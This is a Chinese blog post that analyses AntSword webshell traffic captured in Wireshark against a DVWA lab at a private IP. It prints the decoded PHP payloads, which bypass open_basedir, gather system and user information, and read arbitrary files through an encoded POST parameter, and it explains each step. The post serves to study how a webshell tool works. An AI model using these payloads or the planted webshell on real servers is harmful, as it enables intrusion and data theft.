中国蚁剑的工作原理

  1. 中国蚁剑连接http://192.168.11.157/dvwa/hackable/uploads/pass.php

  1. 蚁剑连接并同时用wireshark抓取流量

  1. 1274 行,追踪tcp流

  1. 因为我们的php.php内容是 $_POST['pass'],所以这里是post了一个pass参数,后面跟上了命令。通过站长工具-URL解码/编码 (wetimer.com)url解码、PHP格式化,在线美化PHP代码-站长工具 (senlt.cn)看一下:

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)) {
            continue;
        };
        $tmdir=$item."/.4044a0d3a48";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)) {
            continue;
        }
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for ($i=0;$i<sizeof($cntarr);$i++) {
            @chdir("..");
        };
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};;

function asenc($out) {
    return $out;
};

function asoutput() {
    $output=ob_get_contents();
    ob_end_clean();
    echo "e7986"."0ff41";
    echo @asenc($output);
    echo "e7a7"."504c";
}
ob_start();
try {
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
        $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}    ";
    if(substr($D,0,1)!="/") {
        foreach(range("C","Z")as $L)
            if(is_dir("{$L}:"))
                $R.="{$L}:";
    } else {
        $R.="/";
    }
    $R.="   ";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="   {$s}";
    echo $R;;
} catch(Exception $e) {
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();

从上往下分析:

@ini_set(“display_errors”, “0”);是临时关闭PHP的错误显示功能

@set_time_limit(0);是设置执行时间,为零说明永久执行直到程序结束,是为了防止像dir、上传文件大马时超时

asenc函数:简单的接收参数然后直接返回

asoutput函数:先用ob_get_contents得到缓冲区的数据。然后用ob_end_clean清除缓冲区的内容,并将缓冲区关闭。然后把接收到的缓冲区数据输出

ob_start()是在服务器打开一个缓冲区来保存所有的输出

try里面:

$_SERVER[“SCRIPT_FILENAME”]是获取当前执行脚本的绝对路径。

dirname() 函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录。

如果$D为空,那么就用$_SERVER[“PATH_TRANSLATED”]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。

然后把获取到的$D加上TAB赋值给$R

然后下面的if:

先判断$D的第一位是不是/,这里应该是在判断是linux系统还是windows系统。

假如是windows,就从C到Z循环,is_dir是判断是否存在这个盘符目录。假如存在这个盘符就添加在$R的后面。

然后就是判断posix_getegid函数是否存在,如果存在posix_getegid函数存在就获取信息赋值给$u,否则$u为空

然后下面判断$u是否为空,假如不为空就获取键值为name的值给$s,否则用get_current_user函数获取当前PHP脚本所有者的名称赋值给$s。

然后用 php_uname 函数获取 有关正在运行的操作系统PHP的信息,并将其添加在$R后面,然后把上面获取的$s也添加在$R后面。然后输出$R。

假如出错就返回错误信息:

再看一下数据包返回信息,就理解了上面这些代码是干嘛的:

当前执行脚本所在的路径 正在运行的操作系统PHP的信息 当前PHP脚本所有者的名称

  1. 1281行,打开了一个php文件,看一下发送的指令:

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)) {
            continue;
        };
        $tmdir=$item."/.f01ac485ec";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)) {
            continue;
        }
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for ($i=0;$i<sizeof($cntarr);$i++) {
            @chdir("..");
        };
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};;

function asenc($out) {
    return $out;
};

function asoutput() {
    $output=ob_get_contents();
    ob_end_clean();
    echo "4a1"."c31";
    echo @asenc($output);
    echo "503d"."eaf6";
}
ob_start();
try {
    $F=base64_decode(substr($_POST["u928cced13ca85"],2));
    $P=@fopen($F,"r");
    echo(@fread($P,filesize($F)?filesize($F):4096));
    @fclose($P);;
} catch(Exception $e) {
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
&u928cced13ca85=RNL3Zhci93d3cvZHZ3YS9oYWNrYWJsZS91cGxvYWRzL3Bhc3MucGhw

看下try里面的内容:

将从POST传过来的u928cced13ca85变量去掉前2个字符后再进行base64解码赋值给$F:

然后用只读的方式打开文件,然后读文件,假如文件大小为空就默认读4096字节,然后关闭文件流:

在最后,传了上面所说的奇怪变量名参数u928cced13ca85

base64解码看看:

  • 0
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值